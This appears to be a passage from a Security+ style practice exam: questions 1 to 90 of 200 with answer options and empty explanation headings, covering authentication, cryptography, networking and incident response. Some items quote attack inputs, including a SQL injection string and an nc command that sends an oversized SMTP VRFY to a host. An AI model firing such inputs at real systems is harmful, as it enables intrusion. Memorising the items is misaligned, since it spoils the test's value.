Practice Test 1-2

Question 1 of 200

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An auditor recommends implementing a physical security access control that will allow a guard to isolate and screen users before they enter or exit a secure area. Which of the following would be BEST fulfill this recommendation?

Select one of the following:

Air Gap
Faraday Cage
Bollard
Mantrap

Explanation

Question 2 of 200

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A security technician is configuring a new access switch. The switch will be managed through software that will send status reports and logging details to a central management console. Which of the following protocols should the technician configure to BEST meet these requirements? (Select TWO).

Select one or more of the following:

SSL/TLS (Secure Socket Layer/Transport Layer Security)
S/MIME (Secure/Multipurpose Internet Mail Extensions)
SNMPv3 (Simple Network Management Protocol ver 3)
Syslog
SRTP (Secure Real-Time Protocol)
Shibboleth

Explanation

Question 3 of 200

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A company is deploying a file-sharing protocol across a network and needs to select a protocol for authenticating clients. Management requests that the service be configured in the most secure way possible. The protocol must also be capable of mutual authentication, and support SSO and smart card logons. Which of the following would BEST accomplish this task?

Select one of the following:

Store credentials in LDAP (Lightweight Directory Access Protocol).
Use NTLM (New Technology LAN Manager) authentication.
Implement Kerberos.
Use MSCHAP (Microsoft Challenge Handshake
Authentication Protocol) authentication.

Explanation

Question 4 of 200

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Which of the following is being described when a security professional develops and publishes a password policy specifically tailored to a company, and enforces the policy through technical means?

Select one of the following:

Applying vendor-specific configurations.
Developing regulatory frameworks.
Implementing security control diversity.
Creating security benchmarks.

Explanation

Question 5 of 200

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Which of the following enables sniffing attacks against a switched network?

Select one of the following:

ARP (Address Resolution Protocol) poisoning
IGMP (Internet Group Management Protocol) snooping
IP (Internet Protocol) spoofing
SYN flooding

Explanation

Question 6 of 200

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A security administrator is choosing an algorithm to generate password hashes. Which of the following would offer the BEST protection against offline brute force attacks?

Select one of the following:

MD5 (Message Digest 5)
3DES (Triple Digital Encryption Standard)
RIPEMD (RACE Integrity Primitives Evaluation Message Digest)
SHA-1 (Secure Hashing Algorithm ver 1)

Explanation

Question 7 of 200

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A security analyst finished drafting an official response to a security assessment report, which must be sent to the head of the auditing department. The security analyst needs to assure the head of the auditing department that the response came from the security analyst, and the contents of the response must be kept confidential. Which of the following are the last steps the security analyst should perform prior to electronically sending the message?

A. Hash the message.
B. Encrypt the message
C. Digitally sign the message.
D. Label the email as "Confidential."
E. Perform key exchange with the recipient.

Select one of the following:

A and B
B and C
A and D
All of the above
None of the above

Explanation

Question 8 of 200

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A company's new policy allows employees to connect to corporate email using BYOD. Since employees handle client information in their corporate email, which of the following should the company implement with BYOD?

A. Enable rooting of the devices.
B. Assign passwords and PINs to the devices.
C. Disable remote wipe.
D. Enable full-device encryption.
E. Disable the devices' ability to connect to open networks.
F. Allow third-party app stores.

Select one of the following:

A and B
B and C
B and D
E and F
None of the above.
All of the above.

Explanation

Question 9 of 200

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A systems administrator is configuring a new network for TACACS+ management and authentication. Which of the following must be configured to provide authentication between the switch and the TACACS+ server?

Select one of the following:

802.1x
SSH (Secure Shell)
Shared secret
SNMPv3 (Simple Network Management Protocol ver 3)
CHAP (Challenge Handshake Authentication Protocol)

Explanation

Question 10 of 200

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University A offers an AAA-based SSO service that allows students to access all wireless and VPN services with the standard university credentials. University A wants to partner with University B to allow its students who are taking classes at University B to sign into either university's wireless network and VPN services with their home university credentials. Which of the following should be implemented to achieve the desired results?

Select one of the following:

RADIUS Federation
SAML
Wildcard certificates
OAuth 2.0
Reverse proxy

Explanation

Question 11 of 200

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While browsing an external website, a human resources manager opens several links in new browser tabs to review later. After browsing for 20 minutes, a full-screen message appears in a completely new browser window with a critical error code and a help desk number to call. At the same time, an audio message plays over the laptop speaker, describing a critical error and warning that the IP address of the laptop will be locked until the critical issue is resolved. The human resources manager is unable to escape out of the error message, and the keyboard is not responsive. After alerting the security team, the human resources manager hold down the power button to turn off the laptop and then power it back on which rectifies the issue. Which of the following BEST describes the type of attack the human resources manager is experiencing?

Select one of the following:

Spyware
Ransomware
Adware
Logic bomb

Explanation

Question 12 of 200

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During a penetration test, some servers in the network were found to be using Telnet as a remote connection protocol. Which of the following would mitigate the identified risk?

Select one of the following:

Disable Telnet and deploy SSH (Secure Shell).
Disable Telnet and deploy SFTP (Secure File Transfer Protocol).
Disable Telnet and deploy SNMPv3 (Simple Network Management Protocol ver 3)
Disable Telnet and deploy S/MIME (Secure/Multipurpose Internet Mail Extensions)

Explanation

Question 13 of 200

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A call center company wants to implement a domain policy primarily for its shift workers. The call center has large groups with different user roles. Management wants to monitor group performance. Which of the following is the BEST solution for the company to implement?

Select one of the following:

Reduced failed logon attempts.
Mandatory password changes.
Increased account lockout time.
Time-of-day restrictions.

Explanation

Question 14 of 200

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Which of the following BEST explains why an application team might take a VM snapshot before applying patches in the production environment?

Select one of the following:

To reduce the operational risk so application users can continue using the system while the patch is being applied in the production environment.
To reduce security risk by having a baseline against which the patched system can be compared if the system becomes compromised.
To reduce operational risk so the team can quickly restore the application to a previous working condition if the patch fails.
To reduce security risk so vulnerability scans can be performed on a pre- and post-patched system and the results can be compared.

Explanation

Question 15 of 200

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Hacktivists are most commonly motivated by:

Select one of the following:

curiosity.
notoriety.
financial gain.
political cause.

Explanation

Question 16 of 200

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An organization's IT department announced plans to upgrade workstation operating systems to the latest version after electing to skip the prior two versions. Which of the following vulnerabilities is the organization seeking to mitigate?

Select one of the following:

Incompatibility issues with currently implemented software.
Lack of vendor support on the version currently in use.
Poorly defined security baselines.
Use of expired certificates on the network.

Explanation

Question 17 of 200

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An analyst is part of a team that is investigating a potential breach of sensitive data at a large organization, which services the financial sector. The organization suspects a breach occurred when proprietary data was disclosed to the public. The team finds servers were accessed using shared credentials that have been in place for some time. In addition, the team discovers undocumented firewall rules, which provided unauthorized external access to a server. Suspecting the activities of a malicious insider threat, which of the following was MOST likely to have been utilized to exfiltrate the proprietary data?

Select one of the following:

Keylogger
Botnet
Crypto-malware
Backdoor
Ransomware
DLP (Data Loss Prevention)

Explanation

Question 18 of 200

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Users from two organizations, each with its own PKI, need to begin working together on a joint project. Which of the following would allow the users of the separate PKIs to work together without connection errors?

Select one of the following:

Trust model
Stapling
Intermediate CA
Key escrow

Explanation

Question 19 of 200

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Which of the following controls allows a security guard to perform a post-incident review?

Select one of the following:

Detective
Preventive
Technical
Deterrent

Explanation

Question 20 of 200

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A public announcement is made about a newly discovered, rapidly spreading virus.The security team immediately updates and applies all it's antivirus signatures. The security manager contacts the antivirus vendor support team to ask why one of the systems was infected. The vendor support team explains that a signature update is not available for this virus yet. Which of the following BEST describes this situation?

Select one of the following:

Race condition
Zero day
Lack of vendor support
Untrained users

Explanation

Question 21 of 200

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A law office has been leasing dark fiber from a local telecommunications company to connect a remote office to company headquarters. The telecommunications company has decided to discontinue its dark fiber product and is offering an MPLS (Multi-Protocol Label Switching) connection, which the law office feels is too expensive. Which of the following is the BEST solution for the law office?

Select one of the following:

Remote access VPN
VLAN
VPN concentrator
Site-to-site VPN

Explanation

Question 22 of 200

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Due to a configuration error, sales and marketing staff were able to access highly sensitive, commercial R&D information for a period of five days before the issue was discovered by an automated system, corrected, and flagged for review. Inspection of logs and monitoring systems by security analysts indicated that no sensitive data was accessed. Based on this scenario, which of the following should a risk manager be MOST concerned about?

Select one of the following:

Data exfiltration
Insider threat
Permission issues
Baseline deviation

Explanation

Question 23 of 200

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Logs from an IDS alerted on a string entered into the company's website login page. The following line was pulled from the HTTP POST request.

userid=bob' and 1='1&request=Submit

Which of the following was attempted?

Select one of the following:

Reflected XSS (Cross-site Scripting)
Stored XSS (Cross-site Scripting)
Cross-site request forgery
SQL (Structured Query Language) injection

Explanation

Question 24 of 200

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Students at a residence hall are reporting Internet connectivity issues. The university's network administrator configured the residence hall's network to provide public IP addresses to all connected devices, but many student devices are receiving private IP addresses due to rogue devices. The network administrator verifies the residence hall's network is correctly configured and contacts the security administrator for help. Which of the following configurations should the security administrator suggest for implementation?

Select one of the following:

Router ACL's
BPDU guard
Flood guard
DHCP snooping

Explanation

Question 25 of 200

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A technician has discovered a crypto-virus infection on a workstation that has access to sensitive remote resources. Which of the following is the immediate NEXT step the technician should take?

Select one of the following:

Determine the source of the virus that has infected the workstation.
Sanitize the workstation's internal drive.
Reimage the workstation for normal operation.
Disable the network connections on the workstation.

Explanation

Question 26 of 200

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Which of the following is a random value appended to a credential that makes the credential less susceptible to compromise when hashed?

Select one of the following:

Nonce
Salt
OTP (One-time Password)
Block cipher
IV (Initialization Vector)

Explanation

Question 27 of 200

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A security engineer must install the same X.509 certification on servers in three different domains. The client application that connects to the server performs a check to ensure the certificate matches the hostname. Which of the following should the security engineer use?

Select one of the following:

Wildcard certificate
Extended validation certificate
Certificate chaining
Certificate utilizing the SAN field

Explanation

Question 28 of 200

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Which of the following would an online retailer consider when selecting a backup facility, should there be a natural disaster that destroys its existing production datacenter?

Select one of the following:

Off-site backups
Hot site
Warm site
Cold site

Explanation

Question 29 of 200

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An organization's Chief Information Officer (CIO) recently received an email from human resources that contained sensitive information. The CIO noticed the email was sent via unsecure means. A policy has since been put into place stating all emails must be transmitted using secure technologies. Which of the following should be implemented to address the new policy?

Select one of the following:

HTTPS (Hypertext Terminal Protocol Secure)
SMTP (Simple Mail Transfer Protocol)
TLS (Transport Layer Security)
SFTP (Secure File Transfer Protocol)

Explanation

Question 30 of 200

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A manufacturing company updates a policy that instructs employees not to enter a secure area in groups and require each employee to swipe their badge to enter the area. When employees continue to ignore the policy, a mantrap is installed. Which of the following BEST describe the controls that were implemented to address this issue? (Select TWO)

Select one or more of the following:

Detective
Administrative
Deterrent
Physical
Corrective

Explanation

Question 31 of 200

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A company wishes to move all of its services and applications to a cloud provider but wants to maintain full control of the deployment access provisions of its services. Which of the following BEST represents the required cloud deployment model?

Select one of the following:

SaaS (Software as a Service)
IaaS (Infrastructure as a Service)
MaaS (Monitoring as a Service)
Hybrid
Private

Explanation

Question 32 of 200

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A security administrator wants to audit the login page of a newly developed web application to determine if default accounts have been disabled. Which of the following is BEST suited to perform this audit?

Select one of the following:

Password cracker
Rainbow table
Protocol analyzer
Banner grabbing

Explanation

Question 33 of 200

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Performing a penetration test without any advance knowledge of what will be found is an example of a:

Select one of the following:

White box test
Gray box test
Black box test
Sandbox test

Explanation

Question 34 of 200

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A security analyst is monitoring the network and observes unusual traffic coming from a host on the LAN. Using a network monitoring tool, the analyst observes the following information (see image).

After ten seconds, some of the computers shown in the IP Dst field start to exhibit the same behavior and immediately make multiple outbound connections attempts. Based on the observed behavior, which of the following the MOST likely the cause?

Select one of the following:

Users are running port scans on the network.
An outside malicious user is performing a MitM attack.
An amplified DDos attack is in progress.
A worm is attacking the network.
A race condition is being leveraged.

Explanation

Question 35 of 200

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A technician wants to perform network enumeration against a subnet in preparation for an upcoming assessment. During the first phase, the technician performs a ping sweep. Which of the following scan types did the technician use?

Select one of the following:

Non-intrusive
Intrusive
Credentialed
Passive

Explanation

Question 36 of 200

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A developer wants to use an open source, third-party plug-in. The developer downloads the plug-in from the provider's website and from a mirror site that runs the files through an integrity-checking hash. The output of each file is shown below:

fileA: BA411c782AD521740123456789ABCDEF
fileB: BA411c782AD521740123456789ABCDEF

Which of the following statements BEST summarizes what conclusion the developer can draw from the above results?

Select one of the following:

The files have both been compromised because the numeric and letter sequence indicates an error.
The integrity checksum is MD5 and cannot be assumed reliable.
Given the output, the developer can assume there is no integrity compromise.
The MD5 and SHA-1 checksums match, so the files have not been compromised.

Explanation

Question 37 of 200

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A security analyst is checking the bash command history on a Linux host that was involved in a data breach. The data breach stemmed from the Linux host running a series of commands against a web server on the internal network, which exploited a vulnerability in an unpatched, outdated Apache module. Given this scenario, which of the following commands might the analyst find in the bash command history for banner grabbing? (Select TWO).

Select one or more of the following:

arp
tracert
nmap
telnet
nslookup
grep

Explanation

Question 38 of 200

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A penetration tester is assessing a large organization and obtains a valid set of basic user credentials from a compromised computer. Which of the following is the MOST likely to occur?

Select one of the following:

Impersonation
Credential harvesting
Password cracking
Lateral movement

Explanation

Question 39 of 200

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A security technician has been the task of preserving emails that are potentially involved in a dispute between a company and a contractor. Which of the following BEST describes this forensic concept?

Select one of the following:

Legal hold
Chain of custody
Order if volatility
Data aquisition

Explanation

Question 40 of 200

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A security analyst is hardening a large-scale wireless network. The primary requirements are the following:

- Must use authentication through EAP-TLS certificates
- Must use an AAA server
- Must use the most secure encryption protocol

Given these requirements, which of the following should the analyst implement and recommend? (Select TWO).

Select one or more of the following:

802.1x
802.3
LDAP (Lightweight Directory Access Protocol)
TKIP (Temporal Key Integrity Protocol)
CCMP (Counter-Mode/CBC-Mac Protocol)
WPA2-PSK (WiFi Protected Access 2 - Preshared Key)

Explanation

Question 41 of 200

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Which of the following is a penetration tester performing when running an SMB (Server Message Block) NULL session scan of a host to determine valid usernames and share names?

Select one of the following:

Credentialed vulnerability scan
Passive scan
Non-credentialed scan
Non-intrusive vulnerability testing
Penetration testing

Explanation

Question 42 of 200

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Which of the following encryption algorithms is used primarily to secure data at rest?

Select one of the following:

AES (Advanced Encryption Standard)
SSL (Secure Sockets Layer)
TLS (Transport Layer Security)
RSA (Rivest, Shamir, & Adleman)

Explanation

Question 43 of 200

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A security engineer implements multiple technical measures to secure an enterprise network. The engineer also works with the Chief Information Officer (CIO) to implement policies to govern user behavior. Which of the following is the security engineer executing?

Select one of the following:

Baselining
Mandatory access controls
Control diversity
System hardening

Explanation

Question 44 of 200

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A security administrator is reviewing the following firewall configuration after receiving reports that users are unable to connect to remote websites:

10 PERMIT FROM:ANY TO:ANY PORT:80
20 PERMIT FROM: ANY TO:ANY PORT 443
30 DENY FROM:ANY TO:ANY PORT:ANY

Which of the following is the MOST secure solution the security administrator can implement to fix this issue?

Select one of the following:

Add the following rule to the firewall: 5 PERMIT FROM: ANY TO:ANY PORT:53
Replace rule number 10 with the following rule: 10 PERMIT FROM:ANY TO:ANY PORT:22
Insert the following rule in the firewall: 25 PERMIT FROM:ANY TO:ANY PORTS:ANY
Remove the following rule from the firewall: 30 DENY FROM:ANY TO:ANY PORT:ANY

Explanation

Question 45 of 200

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Which of the following BEST explains why sandboxing is a best practice for testing software from an untested vendor prior to an enterprise deployment?

Select one of the following:

It allows the software to run in an unconstrained environment with full network access
It eliminates the possibility of privilege escalation attacks against the local VM host
It facilitates the analysis of possible malware by allowing it to run until resources are exhausted
It restricts access of the software to a contained logical space and limits possible damage

Explanation

Question 46 of 200

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A systems administrator has implemented multiple websites using host headers on the same server. The server hosts two websites that require encryption and other websites where encryption is optional. Which of the following should the administrator implement to encrypt web traffic for the required websites?

Select one of the following:

Extended domain validation
TLS (Transport Layer Security) host certificate
OCSP (Online Certificate Status Protocol) stapling
Wildcard certificate

Explanation

Question 47 of 200

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A security analyst is reviewing the password policy for a service account that is used for a critical network service. The password policy for this account is as follows:

Enforce password history: 3 passwords remembered
Maximum password age: 30 days
Minimum password age: 0 days
Complexity requirements: At least 1 special character, 1 uppercase
Minimum password length: 7 characters
Lockout duration: 1 day
Lockout threshold: 5 failed attempts in 15 minutes

Which of the following adjustments would be MOST appropriate for the service account?

Select one of the following:

Disable account lockouts
Set the maximum password age to 15 days
Set the minimum password age to seven days
Increase password length to 18 characters

Explanation

Question 48 of 200

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While investigating a virus infection, a security analyst has discovered the following on an employee laptop:

- Multiple folders containing a large number of newly released movies and music files
- Proprietary company files
- A large amount of PHI data
- Unapproved FTP software
- Documents that appear to belong to a competitor

Which of the following should the analyst do FIRST?

Select one of the following:

Contact the legal and compliance department for guidance.
Delete the files, remove the FTP software, and notify management.
Back up the files and return the device to the user.
Wipe and reimage the device.

Explanation

Question 49 of 200

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A penetration testing team deploys a specifically crafted payload to a web server, which results in opening a new session as the web server daemon. The session has full read/write access to the file system and the admin console. Which of the following BEST describes the attack?

Select one of the following:

Domain hijacking
Injection
Buffer overflow
Privilege escalation

Explanation

Question 50 of 200

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A security analyst is assessing a small company's internal servers against recommended security practices. Which of the following should the analyst do to conduct the assessment? (Select TWO)

Select one or more of the following:

Compare configurations against platform benchmarks.
Confirm adherence to the company's industry-specific regulations
Review the company's current security baseline.
Verify alignment with policy related to regulatory compliance.
Run an exploitation framework to confirm vulnerabilities.

Explanation

Question 51 of 200

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A company that processes sensitive information has implemented a BYOD (Bring Your Own Device) policy and an MDM (Mobile Device Management) solution to secure sensitive data that is processed by corporate and personally owned mobile devices. Which of the following should the company implement to prevent sensitive data from being stored on mobile devices?

Select one of the following:

VDI (Virtual Desktop Infrastructure)
Storage segmentation
Containerization
USB OTG
Geofencing

Explanation

Question 52 of 200

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A Chief Information Security Officer (CISO) asks the security architect to design a method for contractors to access the company's internal network securely without allowing access to systems beyond the scope of their project. Which of the following methods would BEST fit the needs of the CISO?

Select one of the following:

VPN
PaaS ( Platform as a Service)
IaaS (Infrastucture as a Service)
VDI (Virtual Desktop Infrastructure)

Explanation

Question 53 of 200

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An organization has hired a new remote workforce. Many new employees are reporting that they are unable to access the shared network resources while traveling. They need to be able to travel to and from different locations on a weekly basis. Shared offices are retained at the headquarters location. The remote workforce will have identical file and system access requirements, and must also be able to log in to the headquarters location remotely. Which of the following BEST represent how the remote employees should have been set up initially? (Select TWO)

Select one or more of the following:

User-based access controls
Shared accounts
Group-based access controls
Roaming profiles
Individual accounts
Location based-policies

Explanation

Question 54 of 200

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During a lessons learned meeting regarding a previous incident, the security team receives a follow-up action item with the following requirements:

- Allow authentication from within the United States anytime
- Allow authentication if the user is accessing email or a shared file system.
- Do not allow authentication if the AV program is two days out of date
- Do not allow authentication if the location of the device is in two specific countries

Given the requirements, which of the following mobile deployment authentication types is being utilized?

Select one of the following:

Geofencing authentication
Two-factor authentication
Context-aware authentication
Biometric authentication

Explanation

Question 55 of 200

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A security administrator wants to implement a logon script that will prevent MITM attacks on the local LAN. Which of the following commands should the security administrator implement within the script to accomplish this task?

Select one of the following:

arp - s 192.168.1.1 00-3a-d1-fa-b1-06
dig - x@192.168.1.1 mypc.comptia.com
nmap - A - T4 192.168.1.1
tcpdump - lnv host 192.168.1.1 or either 00:3a:d1:fa:b1:06

Explanation

Question 56 of 200

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Which of the following is the BEST reason for salting a password hash before it is stored in a database?

Select one of the following:

To prevent duplicate values from being stored
To make the password retrieval process very slow
To protect passwords from being saved in readable format
To prevent users from using simple passwords for their access credentials

Explanation

Question 57 of 200

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An organization wants to utilize a common, Internet-based third-party provider for authorization and authentication. The provider uses a technology based on OAuth 2.0 to provide required services. To which of the following technologies is the provider referring?

Select one of the following:

OpenID Connect
SAML
XACML
LDAP

Explanation

Question 58 of 200

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A penetration tester harvests potential usernames from a social networking site. The penetration tester then uses social engineering to attempt to obtain associated passwords to gain unauthorized access to shares on a network server. Which of the following methods is the penetration tester MOST likely using?

Select one of the following:

Escalation of privilege
SQL Injection
Active reconnaissance
Proxy server

Explanation

Question 59 of 200

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Which of the following could occur when both strong and weak ciphers are configured on a VPN concentrator? (Select TWO)

Select one or more of the following:

An attacker could potentially perform a downgrade attack.
The connection is vulnerable to resource exhaustion.
The integrity of the data could be at risk.
The VPN concentrator could revert to L2TP.
The IPSec payload reverted to 16-bit sequence numbers.

Explanation

Question 60 of 200

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Which of the following is the BEST choice for a security control that represents a preventive and corrective logical control at the same time?

Select one of the following:

Security awareness training
Antivirus
Firewalls
Intrusion detection system

Explanation

Question 61 of 200

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A web developers improves client access to the company's REST API. Authentication needs to be tokenized but not expose the client's password. Which of the following methods would BEST meet the developer's requirements?

Select one of the following:

SAML (Security Assertions Markup Language)
LDAP (Lightweight Directory Access Protocol)
OAuth (Open Authorization)
Shibboleth

Explanation

Question 62 of 200

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A vulnerability scan is being conducted against a desktop system. The scan is looking for files, versions, and registry values known to be associated with system vulnerabilities. Which of the following BEST describes the type of scan being performed?

Select one of the following:

Non-intrusive
Authenticated
Credentialed
Active

Explanation

Question 63 of 200

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A security analyst is updating a BIA document. The security analyst notices the support vendor's time to replace a server hard drive went from eight hours to two hours. Given these new metrics, which of the following can be concluded? (Select TWO)

Select one or more of the following:

The MTTR (mean time to repair) is faster.
The MTTR (mean time to repair) is slower.
The RTO (Recovery Time Objective) has increased.
The RTO (Recovery Time Objective) has decreased.
The MTTF (Mean Time to Failure) has increased.
The MTTF (Mean Time to Failure) has decreased.

Explanation

Question 64 of 200

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The IT department is deploying new computers. To ease the transition, users will be allowed to access their old and new systems. The help desk is receive reports that users are experiencing the following error when attempting to log in to their previous system:

Logon Failure: Access Denied

Which of the following can cause this issue?

Select one of the following:

Permission issues
Access violations
Certificate issues
Misconfigured devices

Explanation

Question 65 of 200

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Ann, a security administrator, wants to ensure credentials are encrypted in transit when implementing a RADIUS server for SSO. Which of the following are needed given these requirements? (Select TWO)

Select one or more of the following:

Public key
Shared key
Elliptic curve
MD5 (Message Digest 5)
Private key
DES (Digital Encryption Standard)

Explanation

Question 66 of 200

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Which of the following are used to increase the computing time it takes to brute force a password using an offline attack? (Select TWO)

Select one or more of the following:

XOR (Exclusive Or)
PBKDF2 (Password-based Key Derivation Function 2)
bcrypt
HMAC (Hashed Message Authentication Code)
RIPEMD (RACE Integrity Primitives Evaluation Message Digest)

Explanation

Question 67 of 200

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Users in a corporation currently authenticate with a username and password. A security administrator wishes to implement two-factor authentication to improve security. Which of the following authentication methods should be deployed to achieve this goal?

Select one of the following:

PIN
Security question
Smart card
Passphrase
CAPTCHA

Explanation

Question 68 of 200

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An organization recently moved its custom web applications to the cloud, and it is obtaining managed services of the back-end environment as part of its subscription. Which of the following types of services is this company now using?

Select one of the following:

SaaS (Software as a Service)
CASB (Cloud Access Security Broker)
IaaS (Infrastucture as a Service)
PaaS (Platform as a Service)

Explanation

Question 69 of 200

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Which of the following is commonly done as part of a vulnerability scan?

Select one of the following:

Lessons learned
Recovery
identification
Preparation

Explanation

Question 70 of 200

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A user needs to send sensitive information to a colleague using PKI. Which of the following concepts apply when a sender encrypts the message hash with the sender's private key? (Select TWO)

Select one or more of the following:

Non-repudiation
Email content encryption
Steganography
Transport security
Message integrity

Explanation

Question 71 of 200

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A technician suspects that a system has been compromised. The technician reviews the following log entry:

WARNING - hash mismatch: C:\Window\SysWOW64\user32.dll
WARNING - hash mismatch: C:\Window\SysWOW64\kernel32.dll

Based solely on the above information, which of the following types of malware is MOST likely installed on the system?

Select one of the following:

Rootkit
Ransomware
Trojan
Backdoor

Explanation

Question 72 of 200

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As part of a new BYOD rollout, a security analyst has been asked to find a way to securely store company data on personal devices. Which of the following would BEST help to accomplish this?

Select one of the following:

Require the use of an eight-character PIN.
Implement containerization of company data.
Require annual AUP (Acceptable Use Policy) sign-off.
Use geofencing tools to unlock devices while on the premises.

Explanation

Question 73 of 200

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A web server, which is configured to use TLS with AES-GCM-256, SHA-384, and ECDSA, recently suffered an information loss breach. Which of the following is MOST likely the cause?

Select one of the following:

Insufficient key bit length
Weak cipher suite
Unauthenticated encryption method
Poor implementation

Explanation

Question 74 of 200

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An incident involving a workstation that is potentially infected with a virus has occurred. The workstation may have sent confidential data to an unknown internet server. Which of the following should a security analyst do FIRST?

Select one of the following:

Make a copy of everything in memory on the workstation
Turn off the workstation
Consult the information security policy
Run a virus scan

Explanation

Question 75 of 200

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Which of the following BEST describes an important security advantage yielded by implementing vendor diversity?

Select one of the following:

Sustainability
Homogeneity
Resiliency
Configurability

Explanation

Question 76 of 200

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A dumpster diver recovers several hard drives from a company and is able to obtain confidential data from one of the hard drives. The company then discovers its information is posted online. Which of the following methods would have MOST likely prevented the data from being exposed?

Select one of the following:

Removing the hard drive from its enclosure
Using software to repeatedly rewrite over the disk space
Using Blowfish encryption on the hard drives
Using magnetic fields to erase the data

Explanation

Question 77 of 200

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A manager wants to distribute a report to several other managers with the company. Some of them reside in remote locations that are not connected to the domain but have a local server. Because there is sensitive data within the report and the size of the report is beyond the limit of the email attachment size, emailing the report is not an option. Which of the following protocols should be implemented to distribute the report securely? (Select THREE)

Select one or more of the following:

S/MIME (Secure/Multipurpose Internet Mail Extensions)
SSH (Secure Shell)
SNMPv3 (Simple Network Management Protocol ver 3)
FTPS (File Transfer Protocol Secure)
SRTP (Secure Real-Time Protocol)
HTTPS (Hypertext Terminal Protocol Secure)
LDAPS (Lightweight Directory Access Protocol Secure)

Explanation

Question 78 of 200

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A member of the admins group reports being unable to modify the "changes" file on a server. The permissions on the file are as follows:

Permissions User Group File
-rwxrw-r--+ Admins Admins changes

Based on the output above, which of the following BEST explains why the user is unable to modify the "changes" file?

Select one of the following:

The SELinux mode on the server is set to "enforcing."
The SELinux mode on the server is set to "permissive."
An FACL (File System Access Control List) has been added to the permissions for the file.
The admins group does not have adequate permissions to access the file.

Explanation

Question 79 of 200

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A penetration tester is conducting an assessment on Comptia.org and runs the following command from a coffee shop while connected to the public Internet:

c:\nslookup -querytype=MX comptia.org
Server: Unknown
Address: 198.51.100.45

comptia.org MX preference=10, mail exchanger = 92.68.102.33
comptia.org MX preference=20, mail exchanger = exchg1.comptia.org
exchg1.comptia.org internet address = 192.168.102.67

Which of the following should the penetration tester conclude about the command output?

Select one of the following:

The public/private views on the Comptia.org DNS servers are misconfigured.
Comptia.org is running an older mail server, which may be vulnerable to exploits.
The DNS SPF records have not been updated for Comptia.org.
192.168.102.67 is a backup mail server that may be more vulnerable to attack.

Explanation

Question 80 of 200

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A security analyst is inspecting the results of a recent internal vulnerability scan that was performed against intranet services. The scan reports include the following critical-rated vulnerability:

Title: Remote Command Execution vulnerability in web server
Rating: Critical (CVSS 10.0)
Threat actor: any remote user of the web server
Confidence: certain
Recommendation: apply vendor patches

Which of the following actions should the security analyst perform FIRST?

Select one of the following:

Escalate the issue to senior management.
Apply organizational context to the risk rating.
Organize for urgent out-of-cycle patching.
Exploit the server to check whether it is a false positive.

Explanation

Question 81 of 200

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Company A agrees to provide perimeter protection, power, and environmental support with measurable goals for Company B, but will not be responsible for user authentication or patching of operating systems within the perimeter. Which of the following is being described?

Select one of the following:

Service level agreement
Memorandum of understanding
Business partner agreement
Interoperability agreement

Explanation

Question 82 of 200

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A company is deploying smartphones for its mobile salesforce. These devices are for personal and business use but are owned by the company. Sales personnel will save new customer data via a custom application developed for the company. This application will integrate with the contact information stored in the smartphones and will populate new customer records onto it. The customer application's data is encrypted at rest, and the application's connection to the back office system is considered secure. The Chief Information Officer (CISO) has concerns that customer contact information may be accidentally leaked due to the limited security capabilities of the devices and the planned controls. Which of the following will be the MOST efficient security control to implement to lower this risk?

Select one of the following:

Implement a mobile data loss agent on the devices to prevent any user manipulation with the contact information.
Restrict screen capture features on the devices when using the custom application and the contact information.
Restrict contact information storage data flow so it is only shared with the customer application.
Require complex passwords for authentication when accessing the contact information.

Explanation

Question 83 of 200

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The Chief Information Security Officer (CISO) is asking for ways to protect against zero-day exploits. The CISO is concerned that an unrecognized threat could compromise corporate data and result in regulatory fines as well as poor corporate publicity. The network is mostly flat, with split staff/guest wireless functionality. Which of the following equipment MUST be deployed to guard against unknown threats?

Select one of the following:

Cloud-based antivirus solution, running as local admin, with push technology for definition updates
Implementation of an off-site datacenter hosting all company data, as well as deployment of VDI for all client computing needs
Host-based heuristic IPS, segregated on a management VLAN, with direct control of the perimeter firewall ACLs
Behavior-based IPS with a communication link to a cloud-based vulnerability and threat feed

Explanation

Question 84 of 200

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An organization has several production-critical SCADA (System Control and Data Acquisition) supervisory systems that cannot follow the normal 30- day patching policy. Which of the following BEST maximizes the protection of these systems from malicious
software?

Select one of the following:

Configure a firewall with deep packet inspection that restricts traffic to the systems.
Configure a separate zone for the systems and restrict access to known ports.
Configure the systems to ensure only necessary applications are able to run.
Configure the host firewall to ensure only the necessary applications have listening ports.

Explanation

Question 85 of 200

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An organization identifies a number of hosts making outbound connections to a known malicious IP over port TCP 80. The organization wants to identify the data being transmitted and prevent future connections to this IP. Which of the following should the organization do to achieve this outcome?

Select one of the following:

Use a protocol analyzer to reconstruct the data and implement a web-proxy.
Deploy a web-proxy and then blacklist the IP on the firewall.
Deploy a web-proxy and implement IPS at the network edge.
Use a protocol analyzer to reconstruct the data and blacklist the IP on the firewall.

Explanation

Question 86 of 200

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Legal authorities notify a company that its network has been compromised for the second time in two years. The investigation shows the attackers were able to use the same vulnerability on different systems in both attacks. Which of the following would have allowed the security team to use historical information to protect against the second attack?

Select one of the following:

Key risk indicators
Lessons learned
Recovery point objectives
Tabletop exercise

Explanation

Question 87 of 200

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A small company's Chief Executive Officer (CEO) has asked its Chief Security Officer (CSO) to improve the company's security posture quickly with regard to targeted attacks. Which of the following should the CSO conduct FIRST?

Select one of the following:

Survey threat feeds from services inside the same industry.
Purchase multiple threat feeds to ensure diversity and implement blocks for malicious traffic.
Conduct an internal audit against industry best practices to perform a qualitative analysis.
Deploy a UTM solution that receives frequent updates from a trusted industry vendor.

Explanation

Question 88 of 200

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During a routine vulnerability assessment, the following command was successful:

echo "vrfy 'perl -e 'print "hi" x 500 ' ' " | nc www.company.com 25

Which of the following vulnerabilities is being exploited?

Select one of the following:

Buffer overflow directed at a specific host MTA
SQL injection directed at a web server
Cross-site scripting directed at www.company.com
Race condition in a UNIX shell script

Explanation

Question 89 of 200

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A company offers SaaS, maintaining all customers' credentials and authenticating locally. Many large customers have requested the company offer some form of federation with their existing authentication infrastructures. Which of the following would allow customers to manage authentication and authorizations from within their existing organizations?

Select one of the following:

Implement SAML so the company's services may accept assertions from the customers' authentication servers.
Provide customers with a constrained interface to manage only their users' accounts in the company's active directory server.
Provide a system for customers to replicate their users' passwords from their authentication service to the company's.
Use SOAP (Simple Object Access Protocol) calls to support authentication between the company's product and the customers' authentication servers.

Explanation

Question 90 of 200

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A software development manager is taking over an existing software development project. The team currently suffers from poor communication due to a long delay between requirements documentation and feature delivery. This gap is resulting in an above average number of security-related bugs making it into production. Which of the following development methodologies is the team MOST likely using now?

Select one of the following:

Agile
Waterfall
Scrum
Spiral

Explanation

Question 91 of 200

